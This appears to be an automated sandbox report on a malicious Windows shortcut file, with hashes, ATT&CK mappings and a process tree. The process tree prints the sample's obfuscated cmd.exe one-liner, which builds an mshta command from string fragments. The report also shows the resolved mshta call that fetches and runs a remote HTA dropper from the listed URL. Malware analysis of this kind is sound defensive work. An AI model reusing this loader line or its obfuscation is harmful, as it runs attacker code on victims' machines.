1b85284c78426671e2a1c4919ee08bfca603497e1ddba8665f10d8e1139b2ad1

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:20

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General

Target
DOC-PYU13I.lnk
Size 2KB
Sample260804-j8vhjsga72
SHA256 1b85284c78426671e2a1c4919ee08bfca603497e1ddba8665f10d8e1139b2ad1
MD5 87279647548f0b644485ece3ec8d1139
SHA1 327e8daaa8080314acff083e252423939e185224
SHA512 2d8f060a1fa3d078f61316ad675cbfd091d3ef5c660e5fb11bafc20321d022ef9667f7fe7c6a2b9b777b60cbe55cc9045a5df6be8c8796029c29af3be3e91095
TLSH
T1664147802AE941D8F2FB9E76EDFE675248BBB9926D70C65D4440820E0836F01DD73B17
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4512	cmd.exe
2720	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 2720	4512	cmd.exe	90
PID 2720 wrote to memory of 3556	2720	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PYU13I.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4512
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set qQK=oldfshqjold&set UAgv=datcjresktqbirjdmuctvdat&set pT=cachehcysyylxcache&set vv=um4&&set sho=vsipa&&set Li=48hta0f1&set WbgXc=cacheipqufllybgbhuocache&set rWAvt=cfgdjubhpnxweasrcfg&set iSHw=zstaivc&&set KnRA=eijridm&&set GxVnd=g5qt6&set OwDWA=bakljvdpifdbvagdueciqbak&set PKJ=cfgrytruonsqtqkgxicfg&set rg=sysjpjiixpmkeegtqsys&set ek=oldalxntblold&set Gj=cfgsyzdsecfg&&set Yh=h@ttps://@ma@-@pd@ffill@er@.@la@t@/h@/@esta@gi@o@1.@php?r=@3914@69FB@5D@82DB&&start /b !vv:~1,1!!sho:~1,1!!Li:~2,3! !Yh:@=!&&set TBd=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads